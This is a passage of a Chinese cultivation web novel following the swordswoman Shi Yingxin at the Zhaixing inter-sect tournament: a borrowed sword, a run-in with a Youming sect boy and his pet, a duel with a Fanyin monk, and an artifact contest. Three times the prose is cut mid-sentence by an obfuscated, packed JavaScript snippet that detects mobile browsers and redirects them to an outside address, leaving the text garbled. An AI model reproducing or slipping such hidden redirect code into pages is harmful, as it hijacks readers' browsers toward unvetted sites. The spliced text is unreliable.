她平时和同门弟子小打小闹就算了,这回的摘星大会可是八大仙门都派了人来的,拿木剑就不够看了,也有鄙视人家的嫌疑;故慕雲这日就去万剑洞找了一把无主无灵的剑来,让她这半月适应一下。 见她接了剑好奇地打量着,慕雲不得不提醒道:“映心,这可不是你往日瞎玩的木剑,不能用自断那招哈,过了这档子事师父还得送还回去。” 顾梦真也在边上看剑呢,闻言就道:“我瞧这把剑起码两万灵石,映心要是弄断了可有的赔。” 他估算的价格一般差不了多少,慕雲当时瞧着不错就拿来了,哪里知道这么贵,登时面色严肃起来:“映心,不准自断!为师说的你听见没?” 就石映心兜里那点灵石,连两百都不知有没有,到时候还是她冤种师父垫钱。 “听见了,师父。”石映心举着新剑糖葫芦,乖乖点头,“不自断。” 曾换月在边上问:“师父,这把剑叫什么名字?” 慕雲:“无主无灵,自然没有名字。” “好可怜哦!一把剑怎么能没有名字呢?”曾换月兴奋地表示了同情,“师姐,我来给它取名!” “我看算了吧,”顾梦真摇摇头道,“到时还要还回去,取了名怪伤剑心的。” “这是无灵剑,哪有什么剑心?” “你不懂。” “切,不就是器修吗,你了不起什么……” “你!有你这么跟师兄说话的吗……” 眼见两个不省事的又要吵起来,慕雲额上青筋突突直跳,厉喝一声道:“有完没完!你们两个——现在都给我滚回去!在摘星大会之前不许见面,待在洞府里各自修炼!为师会不时去突击考察!” 二人闻言,哀嚎一声,自道遭殃,垂头丧气地被慕雲赶鸭子似的赶飞了。 院里一下子清冷下来,只剩下石映心一人。她倒不觉得寂寞,大概是看手中的新玩意很稀奇,先是打量了一会剑鞘,上边缠绕着繁复变化的花纹,她看不懂这些,不过知道二师兄经常花许多时间在他的宝贝器物上雕刻这类花样。 拔剑时她听着剑出鞘的利声,斩破空气的震动很轻妙,听得出来是把好剑。至于值不值两万灵石——她对灵石的价值一直很懵懂,大概因为没有遇上过缺钱花的问题。 哦,你问她先前不懂事时欠她二师兄的那些钱? 嘻,早就被她挑着二师兄的错处,一件复一件地抵消啦。 据师父说她还欠了天虚师公一些,不过师公从没找她要过的,她便从未放过心上。 不谈钱了,石映心得了新剑,多少有些稀罕,当即在院子里耍起剑来。 日薄西山,霞光万道,地上的影子千变万化。剑引着人,人舞着剑,黑影之中,仿佛人剑合二为一,这便是剑修难得的境界了。 * 半月后。 摘星大会的地点选在归壹派一片山脉中的迷迭峰。 作为东道主仙门,门派近两月紧迫感十足,不说兴奋紧张的弟子们,众位料理大会事宜的长老们都是日理万机,来往行色匆匆,有时还需停课操劳。 石映心这几日去北膳堂用膳的时候,远远瞧见了妽荼仙尊两回,这是很难得的,这位雷厉风行的仙尊往常不在门派中,多是外出办大事,行踪不定。 似是瞧见她的视线,妽荼仙尊和人话说到一半,隔着喧嚣的人群,猛然转过头来盯住她。寻常弟子都要吓得表情失控了,可石映心还直勾勾地和她对望着,也没问好的意思,仿佛就在好奇地打量。 妽荼仙尊眉头一皱,脸上显出一抹凶色,似乎要往这边走来,但曾换月这时候拉着石映心走了。 “……仙尊?” “啧。” 问话的那人缩了缩脖子,把死嘴紧紧抿住。 “吓人!”曾换月抱着她师姐的胳膊说,“我刚瞧见妽荼仙尊了!她怎么回来了?哦,肯定是为了明日的摘星大会……嗐,你说她不会在大会上针对我们吧?” 石映心道:“师父说,妽荼仙尊的奉公守法在众长老里位列第一。” 曾换月摇摇头:“不是这么算的,师姐你看啊。在我们、不,在所有宗门,内门弟子比之外门,亲传弟子比之内门,自家徒弟比之外家,总是前者的待遇更好些是不是?这难道就不算公平公正吗?” 石映心说:“是算的。” “那照这么算……”曾换月瞅见边上人多,凑近她师姐压低声音道,“师父师叔师公他们偏心我们才是正常的,若是对我们与他人一般公平公正,就算是针对了!” 她这番言论,要是给她师父师兄听见了,定是要受罚抄门规的,顺便再被骂几句“胡言乱语”“奇谈怪论”,她自己也知道,所以只跟三师姐说。 果然,她三师姐听了之后沉吟片刻,了然般地点点头道:“噢,我明白了。” 曾换月见她赞同自己,笑嘻嘻道:“还是师姐聪明,我看在这个时代,大概也就你能懂我前卫的思想了!” 石映心知道她说的“前卫”是什么意思,她记得师妹先前给她解释过,就是比寻常人聪明,既然如此,她没什么好不承认的:“你说得对。” 牛头对上马嘴。 隔天就是为期七日的摘星大会开幕。前三日为各仙门之间的弟子个人比拼,第四日调整休息,后三日为团体大比,在秘境中进行,规则当日揭晓。 按照流程,这日一早,先是由归壹派掌门天元仙尊进行开场发言,大致讲的“赛事第二,情谊第一”等等,较为无聊所以略过,接下来就是赛前的抽签。 第一轮一般是自家弟子对招,决出一半晋级的再去和其他仙门比,这一回合除了争胜负外,也有让其他宗门看看自家本领的意思;同一门派弟子之间对彼此多少有几分熟悉,往擂台上一站,瞧见对方谁是谁,心里大概也有数了。 “老天爷保佑,别让我抽到映心师妹……” “先保佑我!” 谁想一轮游? 絮絮叨叨的小声祈祷,宛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668872|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若一滴水花,消失在归壹派外门定山广场的人声鼎沸之中。若是御物飞行而来,能发现往日一片月白的门派景色变得五彩斑斓起来,有药神谷的草绿,梵音门的棕黄,天机阁的藏蓝,琼华宫的烟紫…… 广场两边围着两半圈临时搭建起来的五层木梯看台,供各仙门弟子在此观赏大会。 “还是琼华宫的门服好看……合欢宗的也不错,粉粉的好嫩哦。”曾换月拉着她师姐坐在看台最上方,好奇地打量着这难得的热闹,忽地瞧见一剑从远方飞来,她指着那剑道,“是大师兄!” 原本也和她一般无所事事地看人景的石映心唰地站起来:“我去排队抽签。” 曾换月这才一愣:“啊?第一场是比剑啊?”那你还悠闲地在这坐这和她说闲话! 石映心叹了口气:“迟去早去有何差别?总有一签留给我。” “那师姐等会去呗?” 石映心看向远方天际:“不知道等会是大师兄先找来还是师父先找来。” 不管是谁都要骂两句。 曾换月:OO “师姐你快些飞!” 石映心一掐飞天决,黑长的马尾伴着月白色的身影腾空而起,越过看台上、广场中一干人等的头顶,不在意是否引来一些打量的目光,兀自轻盈地落在了一行队伍的末尾。 她前边那人回头一看,肩膀抖了一下:“映心师妹……” 石映心不认得他:“师兄好。” “好好,哈哈……” 不知他刚刚的祈祷有没有被她听见?无所谓了,只要老天爷听见就成! “不必去寻了,”擂台后的裁判观台上,陈久朝某处一抬下巴,“喏,人来了。” 明易自然也瞧见了,这才把刚迈出去的半步收回来:“是。” 陈久又笑道:“何必如此操心,我看映心还是有分寸的。” “是明易多虑。” 他这师侄是细心周到些,陈久也清楚,提醒道:“待比剑开始,你便是剑赛督察,不可擅离职守。” 明易颔首道:“弟子遵命。” 他侧头向某处看去,瞧见那身影走到签筒前抽了一签,负责抽签的弟子拿过她的签打开一看,大声嚷道:“石映心——轮空!” 场下一片躁动,有压抑的欢呼声,也有惊讶的羡慕声。 她在人群中似乎茫然了片刻,左顾右盼了一会,在帮事弟子的提醒下,坐到了边上的等候席,忽地朝他看来,但此时他已先一瞬移开了视线。 真好……石映心将手搭在眉下遮太阳,看着裁判观台想,上方居然还按了遮日头避风雨的木棚顶,而她还要坐在这顶着大日头不知道等多久。虽然刚刚那个帮事师姐是说让她在这等着不要乱走的,但是…… “……一轮第一场剑赛——开始!” 观众们欢呼雀跃起来,一声声浪潮鼓舞兴奋了擂台上的人。 热火朝天一片,谁注意得到她呢? 明易督察时见缝插针地用余光去看,猛地一转眼——人已经不见了——不过半小拇指香的时间! 有这样的师妹,叫他如何不多虑? 明易不动声色地从取出一只早已准备好的传音鹤,指尖一点,纸鹤展翅飞入人群中。 15. 第 15 章 每个人折的纸鹤都是不一样的,像大师兄的纸鹤就格外标志,折痕锋利,那尖尖的喙仿佛真能啄伤人。 石映心坐在定山广场外缘一棵茂密的梧桐树上,瞅见那只飞来的传音鹤,有些伤脑筋。她正想着如何编造一个难以被探究的意外来处理掉这只使命必达的纸鹤,忽地一阵急躁的沙沙声起,她扭头一看,瞧见一只…… 长着翅膀的小鸟……蛇? 鸟头蛇身,尖喙圆眼,蛇、额,鸟头下七寸左右长着一双不大的灰黑色羽翅,它蛇身不长,粗细约两指。 且不管它是什么,总之是如箭般从旁边那颗树上飞了过来,一口咬住了这只可怜的纸鹤,几下吞入了腹中。 石映心本来看得稀奇,这会脸上露出满意的笑容。 好了,现在只要把这只小鸟、蛇带回去,万事便有借口。 她伸手去抓,小鸟蛇也不傻,展翅就飞。石映心从这棵树追到那棵树上,已经没了耐心,这么说道:“你吃了我的传音鹤,难道不应该给我一个交代?” 小鸟蛇弯头看了她一眼,尖喙一张,从里边吐出霹雳摆动的蛇信子,蛇尾巴嘚瑟地摇起来,似乎在说:“就不给交代怎么样?” 它就是这个意思,石映心不用照,一看就明白。 “你若是读过江湖刺客的话本就知道。”石映心半蹲在树杈上,语气平和地像是在和好友说人间故事,如果不是她的右手心已然多了一把宝剑的话,“交代,其实只需要一个项上人头——鸟头也行。” 利剑出鞘,她的剑还从未见过血光呢。剑身隐隐震荡着主人的兴奋,猛地直冲小鸟蛇而去,快得吓人。那鸟惨叫一声明白了不妙,情急地乱飞腾了一下,此时剑尖已逼近它的蛇身,就在这迫在鸟急之时,不远处忽地传来一声: “皮皮!” 一片黑影飞速而来,“啪”地把剑给打歪了,紧接着将小鸟蛇团团缠绕住,送回了来人的手中。 剑在空中愣了一下,有些可惜地回到了剑鞘中。 石映心坐在树上,高高地俯视着那个一身黑袍的少年,他穿得严实,没什么好打量的,除了那双唯一露在外头的眼睛。 黑袍少年抬起头来,狭长的眼里有些愤怒:“你为什么要杀我的灵宠?” “我不知道它是你的。”其实是谁的也不重要,“你的灵宠为什么要吃我的传音鹤?” 黑袍少年闻言,低头看了手中有些心虚的小鸟蛇一眼,眼睛一闭,似有些无奈,气势也落了一些:“……传音鹤是什么?我赔给你就是了。” “好吧,”石映心想了想,从树上跳下来,“你写一份悔过书,交代你的皮皮吃了传音鹤的事,我就放过它。” 他还有些诧异:“就……这样?” 石映心点头:“就这样。” 黑袍少年闻言,松了口气道:“行……这么简单的事,你方才何必要杀它?” “它得给我一个交代。”石映心理所当然道,“可它说不了话、写不了悔过信,甚至不愿意陪我走一趟,那除了杀了它以外,还有什么办法呢?” 黑袍少年一时被她说得哑口无言,和她干瞪眼了一会干脆放弃。抬手取了一片巴掌大的梧桐叶下来,用指尖汇入灵力在上头写字,一边写一边问:“传音鹤是什么?是你们归壹派的灵鹤吗?” “差不多吧。”石映心贴心地变出一只来,给他解释道,“我们对着它说话,它就能飞去传话。” 黑袍少年:…… 他看着那只有点歪歪扭扭的丑纸鹤,拿着梧桐叶的手忍不住地颤抖起来,心里憋着一口好大的郁气。若是他的皮皮为了这只破纸鹤而死——他真的要气死了! “写好了!”他气呼呼地把梧桐叶拍在石映心手心,缩回来蜷成拳头,“我要走了!” 石映心看了叶子上写的字,虽然都认得,但一撇一捺之间的走势有些古怪,看起来像是在写字中画画,难道每个大洲之间的文字都不同?她看着已经转身的黑袍少年道:“你是幽冥宗的人。” 黑袍脚步一顿:“是又怎么样?” 石映心见他承认,脸上笑起来:“我听师父说,你们幽冥宗法术诡谲,能控无形之影,驱使幽都鬼魂,法力在日落后愈甚,听起来很厉害。刚刚打歪我剑的,就是你操控的影子吗?” 黑袍转头看她,他的丹凤眼内勾外翘,这么斜眼看人的时候像是一只扇翅的蝴蝶:“怎么,知道我们幽冥宗的厉害了?” “还不是特别知道。”石映心表情诚恳,“你能不能再示范一遍给我zha、看看?” 都是心智尚未成熟的少年郎,被人一夸就翘尾巴也是合情合理的事,黑袍瞅她求知若渴的眼神,闪着瞳孔支吾了一会,嘟囔什么“看在你没真的杀了皮皮的份上”,眼见着就要答应了—— “师姐!!” 曾换月从外门那边跑过来,气喘吁吁地大声喊:“你快回去,师父要生气了!” “要生气”就是已经生气的意思,石映心明白,所以觉得再晚一点回去也没关系,反正都是要挨骂的,那就等她照了这个黑袍…… 咦,人呢? 石映心眨了眨眼睛,眼前却已空无一人,只有光落在地上的碎叶影子,被风吹得在地上乱游。 石映心回去被她师父骂了一顿,总之是说她赛事当前还要乱跑,叫人不省心;还故意不收大师兄的传音鹤巴拉巴拉。 她拿出梧桐叶解释,说那只小鸟蛇有多么坏,没想到慕雲更生气了:“你要是真心想收信,那只破鸟哪里吃得下?” “是小鸟蛇……” “石映心!” “……” 最后的结果就是她被留在她先前羡慕的能遮风避雨的裁判观台上,由明易时刻看管着,毕竟慕雲也很忙,刚刚是想着也许三徒弟快比剑了才去看了眼,谁知道没找到人,然后就听大徒弟告了一状。 石映心瞅着大师兄冷冰冰地看着赛况的侧脸,自知理亏,拉拉他的衣袖,把梧桐叶递过去,又把刚刚被拆穿的借口说了一遍,这次还知道填补一句:“那只小鸟蛇长得很是奇怪,我看入迷了,一时不察,传音鹤才被它吃掉。” 明易不气她乱跑,也不气她没耐性,其实传音鹤里说的是“两刻钟之内回来”,但没想到她现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668873|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在越发乖张起来,居然连信都不看了。 上个月师父和他说“映心好似进入叛逆期了”,他还不以为意,觉得她不过是玩性大,好奇心重,平日耍点小机灵、撒点小谎,倒也无伤大雅;孩子不听话很正常,但她竟话都不听了! 今日是逃到外门,明日是不是就要逃出山了——呵!对,他还记得半月前她说摘星大会输了就要偷溜下山的事! “师兄……”石映心见师兄还冷冰冰的不说话,她自己又没多少耐心,想了想,把梧桐叶往他抱胸的手臂里一塞,算是有个交代了,“信上都写了,师兄你好好看吧,我去边上坐了。” 明易:…… 她简直是不知悔改! 等人走了,他才拿起梧桐叶一看,一眼瞧出那是东岳洲的字样,不禁眉头一皱,心道她是遇上幽冥宗的人了? 裁判观台很大,和擂台差不多长,前边一排坐席给众位长老坐着,边上还有余位供明易这些督察弟子来回巡视;后边则是摆了几张茶桌,有帮事弟子端茶倒水切果子。 石映心想吃果子,转着眼珠子找眼熟的仙尊仙君,不过先让她瞧见了待她不错的晴雯师姐,原来她在这里帮事呢。 接下来就很顺理成章了,晴雯师姐给她安排了一张可以看到赛况的茶桌,往桌上一摆“慕雲仙君”的木牌,她这个慕雲仙君的弟子就能理所当然地坐下吃果子了。 见师姐要去忙,石映心拉住她说:“师姐,你什么时候比,我给你打气。” 晴雯笑道:“我明日跟你二师兄比炼器,你也要来吗?” 石映心吃甜甜果:“来的,来的。” “那你想我和你二师兄谁赢?” “师姐赢吧。” 晴雯诧异地一抬眉,笑道:“吃了我的果子,你还会哄人了。” 石映心喝茶咽甜甜果:“三日后的秘境我会带着师兄和换月赢的,所以明日二师兄输了也没关系。每个人都赢一回,师姐高兴,二师兄高兴,师父也高兴。” 晴雯哈哈哈笑起来,刚说“输赢不是你想得这么回事”,就有人喊她帮忙,她应了一声就走了。 不是她想得这么回事? 不就是那么回事吗? 石映心一人吃果子很无聊,折了纸鹤去请曾换月,没想到师妹回信,说被师父抓走抱佛脚去了。 ——好吧。 擂台上正在对招的两位师兄她都眼熟,也曾交手过,二人的一招一式她都熟悉,看起来便不太投入。观台外日头晒,照得弟子们的脸微微泛红,石头做的擂台也镀上一层薄薄的金光,看着暖洋洋。又有一阵风来,吹来桌上甜甜果的香氛,就是不凉快,也叫人昏昏欲睡…… 石映心被晴雯推醒,说是要轮到她上场了,赶紧喝口茶水清醒清醒。 现在是什么时辰? 抬首视线朦胧地一看,日头小了许多,见影子的方位,刚过申正。 就着晴雯的手喝了两杯茶水,石映心也不知道自己清醒了没,听到外头有个嘶哑的声音大喊:“二轮第七场——归壹派慕雲仙君门下石映心,对梵音门观德仙僧门下乐鸿!” 16. 第 16 章 到她了,原来是和别家弟子打? 那有意思多了。 石映心双目一睁,两眼放光,困意已消失殆尽。她要直接飞出去,晴雯拉着她不让她飞,只好跟着师姐下了观台跑到擂台边上,这才飞了上去。 对手是一个光秃秃的脑袋,随着光线流转总有一片锃亮;他穿着灰色的功夫服,腰间系着棕色金边的腰带,手中拿着一个快有一人高的棍子。见石映心上来了,一手立在身前朝她问好:“施主有礼了,小僧乐鸿。” 石映心也拱手:“在下石映心。” 又问:“你拿棍子和我的剑打吗?” 乐鸿朝她一笑,客气道:“施主不必担心,这是本门的听音棍,刀剑不入,坚不可摧。” 好像有听师父说过……石映心追问道:“我这剑也不便宜,真的砍不了你的棍子?” 乐鸿气定神闲:“砍不了。不知施主的剑有多不便宜?我们梵音门的听音棍皆是取材门派天下独有的神木,最便宜的造价也要上万灵石。” 他这话一出,台下一片哗然。 愣是对钱没什么概念的石映心也知道上万灵石很贵了,她想了片刻,忽地把新剑收了起来,拿出一把木剑。 乐鸿见了,不由得问道:“施主,你的木剑也是大有来头?” “没有来头,”石映心朝他一笑,“但有很多,还便宜,不怕你砍。” 听出她是怕自己的宝剑被砍断的意思,台下的非剑修人士纷纷发出笑声;而真正的剑修已经开始心疼了。 人群中的顾梦真对曾换月说:“没想到映心这么懂事,知道勤俭持家了。” 曾换月点点头,与有荣焉道:“师姐很有分寸的。” 另一边,观台上的陈久绷着脸说:“映心师侄颇有谋略,不愧是我教的弟子……不过这梵音门竟如此阔绰?” 明易:。 不知道她会不会心疼,反正师父和二师兄会很肉疼。从这角度来说,石映心确实懂事了许多。 好了,开打吧! 拿着坏了也不心疼的木剑,乐鸿觉得面前的施主似乎有了很多的勇气,往常与人比斗,双方似乎要斟酌一会,再看谁先出招;没想到这位施主一听“开始”就冲上来了,倒是让他微微一惊。 她第一下直冲他的听音棍而来,一挥手就使劲地砍下来了,乐鸿自然要去挡,然后“咔嚓——”,二人都愣了一下,那木剑果真断了。 台下一片哗然。 乐鸿听这位施主嘟囔了一句:“这棍子是挺厉害。” 那当然了,他自豪地想,大繁至朴,别看他们的听音棍老实朴素的一根直愣愣的棍子,真功夫可尽在其中! 乐鸿心中澎湃,见施主换了新木剑,也不再严阵以待,大喝一声,舞棍而上。一白一灰,一剑一棍,在擂台上就此纠缠纷飞起来,二人的身手都很好,不过在对决之中,可见两派功夫之分别: 乐鸿的下盘稳,通常是微屈膝定在台上,上半身舞棍带动下半身,力量驱使速度,动静皆如山,仿佛难以推倒;他的棍子很重,从它挥破空气的呼呼声便能听晓,可乐鸿把它耍得非常灵活,可见他体力之强悍,气息之稳定。 再看石映心,她就像她手上那把便宜量轻的木剑,随着对方的一招一式轻巧飞舞着,有时候真像只鸟儿,干脆把对方当做木桩,左脚踩他膝盖,右脚蹬他胳膊,借力飞到空中打他。 看似她在那飞来飞去的费劲些,但陈久明易等人瞧得明白,将对招往天上引,确实是对付梵音门的最好手段之一,毕竟人气重下盘稳,跟他在“地上”打才是劣势——再别提她那破剑了。 可目前看来,这也只是缓兵之计。 石映心要怎么赢呢? 擂台下、观台上,无数双眼睛聚精会神地盯着那二人,几乎是屏息以待一个最终的发展。 慕雲不知何时来了,站在天元仙尊的身后。后者笑道:“这观德仙僧的徒儿也是个好手,慕雲,担心你徒弟?” “不担心。”她哼笑一声道,“这才哪到哪?” 石映心与乐鸿对了两个来回,大概知道这光头和尚是如何一回事了。虽说打他下盘不容易,但要是想赢,还是得攻坚克难才好;其实现下的景况,用自断剑那招倒方便,不过师父和师兄都看着—— 未免被说投机取巧,那就掩饰一下吧! “咔嚓。” 第三把木剑断,二人已很熟练了,石映心在空中转了一圈后回来,手上已经拿了一把新的,她这次飞得更高了一些,乐鸿也不得不抬起胳膊来和她打,几招之间,忽见那剑猛一转弯,朝他下颚而去—— 这是哪方攻路? 乐鸿连忙往侧边一跳,手上拿棍去挡,见那木剑“咔嚓”被砍断,心下微微一松,好歹是保住了自己的下颚。可不等他重新扎好马步,刚要屈膝的膝盖窝猛地一疼——时机非常微妙,疼劲非常难忍。 乐鸿知道,那是木剑的剑尖,更准确地说,是剑意。普通的剑招不可能让他受到影响,可这剑意比他方才两回和这位施主对的每一招都要强烈,也许是易折的木剑让他放松了警惕……不,更可能是这位施主一直在藏锋守拙。 原来她这两回的每一招皆不是真正地与他对剑,而是用“断剑”的方式试探他的一招一式,以弱剑模糊他对她剑意的判断,只待找到突破之口—— 就能像现在这样,让他稳稳的下盘一招破防,单膝跪在地上,脖子上还抵着她的剑——就是那把捅了他膝盖窝的木剑。 他们梵星门听音棍法的大精髓其实就在这招坚如磐石,上头的舞棍不论如何花俏,皆要定在此中。 所以待乐鸿回归神来,便知晓自己真切地输了。他心服口服地朝石映心竖一手行礼:“施主剑术高超,洞若观火,小僧甘拜下风。” 台下适时响起一片欢呼叫好声,打破了紧张的平静。 石映心把剑收回来,倒没有说大话,朝乐鸿点点头说:“你们梵音门的棍法挺好玩的,有机会再打吧。” 乐鸿不卑不亢道:“棍法仅是外功,梵音法门精在内法,并非小僧诳语,施主有缘再会。” “好。” 石映心会赢,慕雲等人虽不意外,但也是很高兴的。顾梦真和曾换月尤其兴奋,自觉有师妹/师姐垫着,明日大比输了也没有太大负担,师父总不会大发雷霆了。 陈久问师侄和梵音门的弟子比武有何感想,石映心回想了片刻,说:“原来扎马步也有这么多花样,师侄原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668874|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为只是人人练的基础功,今日和乐鸿玩,才知其奥妙。” 陈久哈哈哈,又问:“那你认为我们归壹派的剑法奥妙在何处?” 石映心说不知道。 陈久也没说什么,已经满意了:“你再多练几年,师叔再来问你。” “好。” 第一日的大比到晚上戌时才结束,那会石映心已经躺在床上看话本了,听到院子里的风铃响了,她掀被下床,走到外屋看了看,瞧见大师兄站在院子里:“大师兄?” 明易刚忙完就来找她了,主要想问那片梧桐叶的事,一转头见她出来,散着头发穿着里衣,愣了愣:“你就寝了?” “没有,就是躺在被窝里。”石映心见他手上拿着梧桐叶,才想起早就丢到脑后的事情,有些埋怨道,“师兄你怎么这么记仇?白日的事还要记到晚上,来找我兴师问罪……” 他记仇? 明易心说,师兄妹之间唯她没资格谴责别人。她说的“白日记到晚上”,大概确实是觉得久了些,毕竟某人喜欢有仇当场就报。 瞧她谴责的眼神,明易只好解释道:“不是传音鹤的事,我来问你是不是遇上了幽冥宗的人?” “哦。”石映心点点头,“是碰上了一个穿着黑袍的人,他控制影子打了我的剑。师兄,这就是幽冥宗的控影之术?” “对。”明易应了一声,盯着她道,“你照他了吗?” “没有。” 似乎是没在撒谎,明易暂且松了一口气,又正了神色道:“师父先前也和你交代过,你平日照同门弟子也就算了,都是知根知底的法门;可其他仙门的功法如何谁都说不准,只怕仙法混淆,走火入魔。你切不可照他们,明白吗?” “不会的。”石映心朝大师兄乖巧一笑,“我明白。” “不会什么?” 石映心说:“不照他们。” 明易静静地看了她几瞬,见她一副老神在在的一本正经,微不可察地叹了口气,就当做是接受了她的保证:“好,你早些休息吧。” “师兄慢飞。” 石映心看他御剑飞走的身影,逐渐变小隐入夜色灰蒙蒙的云层中,轻轻自言道:“不会……不照他们,嗯。” 没毛病。 隔日是顾梦真的炼器炼丹大比和曾换月的符阵大比。 顾梦真擅炼器,不过他跟的陶远师叔是个器丹通才,故他平日也学炼丹,一锅稳定出品半数以上五品丹,偶尔运气好出两粒三品四品,在金丹期炼丹弟子中已是够看的水平。 比起炼丹,他的炼器功法则是门派里出类拔萃的,常出一阶宝器是基操,叫人惊奇的是他的宝器稀奇古怪、别出心裁,经常捣鼓出一些书上没有的玩意,故许多时候胜在稀奇,实不可深究。前几年还是状况百出,入金丹后的这两年稍微稳定了许多。 难得的是他炼器时已能融入他师父慕雲的呼风唤雨之术,不过同样不稳定,有时是如虎添翼,有时就是临门一脚——前功尽弃。 若他破镜,也许功法还能更胜一层,在炼器弟子中的排名也能更靠前一些,要不然遇上又稳又厉害的,就他自己都未捣鼓明白的稀奇玩意,还是有些悬。 比如又稳又厉害的晴雯。 17. 第 17 章 众人在炼器房外静悄悄地说着小话等待,不过一会儿,两间房中散出百道灵光,照得大伙脸上油亮油亮,纷纷露出艳羡的神色:果然是两件一阶宝器! 晴雯和顾梦真开门走出来,前者干净清爽,后者灰尘扑扑。 哎呀,好在不是比谁干净。 大家哈哈笑起来,没笑多久,就听明易摇了摇铃铛,这是维持纪律、保持安静的意思。 等大伙静下来,天虚仙尊便道:“你们二人谁先来?” 顾梦真怕丢师门脸面,正拿着帕子擦脸,于是晴雯上前一步:“仙尊,弟子晴雯先来。” 天虚仙尊颔首:“好。” 晴雯左手一伸,掌心摊开,上头放着一个石子大小的玩意,眼神好的能瞧清楚,那是一艘精雕细琢的小船。只见她双唇微动捻了个诀,指尖灵光朝小船一点,左手一抬送去空中—— 那石子大的小船便在空中猛地膨胀开来,体型庞大,竟有四五间屋子那么长,将下方的围观人群罩在了它的阴影之下,毫无例外。船下赞叹连连: “哇!” “这差不多有初级云舟那么大了,这可是她一人做的!” “归壹派真是人才济济啊!” …… 天虚仙尊瞧着也很满意,点了好几回头才道:“形体和规模都不错。接下来试防御。映心,你去。” 人群中看热闹的石映心听到师公的声音,哗地飞了起来,对着晴雯的飞船宝器来了几招金丹期剑法,飞船轰轰轰地震动起来,看得下边人心惶惶,似乎想避让,不过好在很快,那位身手不错的剑修少女就飞了下来,表示自己结束了。 飞船也慢慢地趋于稳定,最后恢复原样。 天虚仙尊瞧见罩着飞船的灵气屏障薄了一些,不过已经很优秀了,他满意道:“收了吧,晴雯。” “是。”晴雯左手一伸,飞船乖乖地收回到她的手心之中,朝石映心笑了笑。 石映心也回以微笑。 接下来就是她二师兄了,已经擦干净脸的顾梦真显得更有可信度一些,他同晴雯一样召唤出了飞船,规模相当,形体不似晴雯的精致,多几分大刀阔斧的利落和流畅,这便是不同炼器师的风格差别了。 天虚仙尊很快瞧出飞船的格外不同之处,但他没直说,而是含蓄地问:“梦真,你这船底是画龙点睛还是画蛇添足?” 意思是如果是画蛇添足你就别炫了。 顾梦真没听懂啊,他嘿嘿笑道:“弟子也是尚不清楚,等会一试便知!” 天虚仙尊:“……那你试吧。” “让让……大家让让,”顾梦真挥手让群众撤退,“麻烦让到船身之外……” 懂的人闻言已经开始有多远走多远了,比如天虚仙尊、明易,晴雯等人;不懂的人就想着看热闹呢,要么不走要么走得格外慢,仰着脑袋看那船底有何花样。 大比呢,顾梦真也没时间理会那些不听话的人,念了口诀,两指一并朝飞船:“呼风唤雨!” 话音落下,只见空中“轰”地突显一道雷光猛地劈到了飞船上,惊得众人鸡皮疙瘩一颤,紧接着就看到船底开始下起雨来,哗啦啦啦啦——浇了那些没走到船外的人们一身。 他们哇哇大叫着连忙跑出去,自觉自讨苦吃,上嘴唇下嘴唇打架般施澄净诀。 天虚仙尊站得远远,朗声问:“梦真,你下这雨是何巧思?” 顾梦真大声回道:“师尊!弟子还未想明白,不过总有用处的吧!” 天虚仙尊:…… “罢了,”他一挥手,“试试防御如何吧。映心——” 石映心飞到二师兄边上说:“师兄,你把雨停了吧,我不想淋着。” 她二师兄凑过来,对她小声道:“好师妹,时间紧迫,师兄还没来得及研究出如何停雨……你将就来几招。” 石映心便有些不情愿,毕竟那几招是要分别对着船只的上下东南西北,每一面都要照顾,那等她去船底下时岂不是要淋雨? 嗐,二师兄果真不靠谱。 石映心老成地叹了口气,顾梦真瞧她这模样特像师父。 不管如何,她还是飞了去,照先前的流程来了几招,从船底下出来的时候已经是落汤鸡了,惹得群众一阵好笑。 还剩下一面,石映心先施了澄净诀把自己弄干净,飞到船只西面的时候瞧见她二师兄撑着伞站在那,朝她招了招手。 她撇了下嘴,照例往船面上放剑法,才来一下便察觉到一丝古怪,石映心挑了下眉,继续送了两招,最后一招刺剑本该是顺势戳她眼前的船体,但不知为何她掌心一推,竟将剑往侧边顾梦真的方向刺去。 顾梦真撑着伞在那看着,也没觉得古怪,还是蛮悠哉的。却见那剑尖戳中了船体,忽地有一声“哐”! 他一愣,没反应过来也来不及避闪,只见那处猛地破开一个大洞来,从里头“轰”地涌出一人宽的滔天的水,竟不偏不倚地全灌在他身上了!古拉古拉古拉——那把普通的伞压根支撑不住这么大的水流,伞面全数坍塌,伞骨折断。 现场安静得只能听得到水声。 顾梦真差点要溺水了,伞一扔跳了出来,在边上“哗啦啦”“咳咳咳”地吐水咳嗽,那一条湿人瞧着好不可怜。 